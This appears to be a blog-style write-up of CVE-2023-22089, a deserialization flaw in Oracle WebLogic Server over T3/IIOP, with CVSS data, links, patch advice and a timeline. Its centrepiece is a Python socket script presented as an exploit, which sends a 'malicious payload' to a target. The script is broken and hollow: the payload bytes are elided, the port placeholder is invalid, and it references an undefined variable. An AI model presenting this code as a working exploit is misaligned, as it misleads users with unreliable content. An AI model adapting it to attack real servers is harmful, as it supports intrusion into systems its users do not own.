CVE-2023-22089 - Critical Vulnerability in Oracle WebLogic Server Allowing Unauthenticated Attacks and Server Takeover

Oracle has recently disclosed a critical vulnerability found within the Oracle WebLogic Server product of Oracle Fusion Middleware. The vulnerability has been assigned the CVE identifier CVE-2023-22089, is present in the Core component of the software, and pertains to supported versions 12.2.1.4. and 14.1.1... This easily exploitable flaw allows unauthenticated attackers to access the server by exploiting network access via T3 and IIOP protocols, which could, in turn, result in a complete server takeover.

The risk of this vulnerability has been classified as high, with a CVSS 3.1 Base Score of 9.8. This score reflects its impact on confidentiality, integrity, and availability. The CVSS Vector coding is configured as (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Exploit Details

The vulnerability appears to be related to the deserialization of untrusted data, allowing malicious code to be executed remotely. This issue can be exploited by sending a specially crafted T3 or IIOP message to a vulnerable WebLogic Server running on default network configurations.

Upon successful execution, the attacker can compromise the WebLogic Server, gaining unauthorized access to sensitive information, modifying data, and sabotaging the server's availability.

Here is a sample code snippet demonstrating how to exploit the vulnerability

import socket
import sys

# Replace the values with target server IP and Port
target_server = '<target server IP>'
target_port = <target server port>

# Craft the T3/IIOP malicious payload
malicious_payload = b'\x00\x00\x00…\x00'

# Establish connection to the target server
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_server, target_PORT))
    s.sendall(malicious_payload)
    s.close()
    print(f"[+] T3/IIOP malicious payload sent to {target_server}:{target_port}")
except Exception as e:
    print(f"[-] Error: {e}")
    sys.exit(1)

Oracle Security Advisory: CVE-2023-22089

URL: https://www.oracle.com/security-alerts/advisory/CVE-2023-22089.html

WebLogic Server Documentation: Configuring T3 and IIOP Protocols

URL: https://docs.oracle.com/en/middleware/standalone/oracle-weblogic-server/12.2.1.4/administer/GUID-E31CD8A3-1F43-4D04-A851-3ABAC851E66B.html

Mitigation Recommends

Oracle has provided patches for the affected versions in order to address the vulnerability. Administrators are advised to apply these patches as soon as possible. Additionally, it is crucial to ensure that all necessary security configurations are in place, including enforcing network access restrictions and limiting the exposure of sensitive data.

In conclusion, all Oracle WebLogic Server users should actively monitor their environments for any signs of compromise and prioritize updating their systems with the latest patches. Staying informed about vulnerabilities like CVE-2023-22089 is crucial for maintaining the security of your critical infrastructure against potential cyberattacks.

Timeline

Published on: 10/17/2023 22:15:14 UTC
Last modified on: 10/23/2023 18:19:47 UTC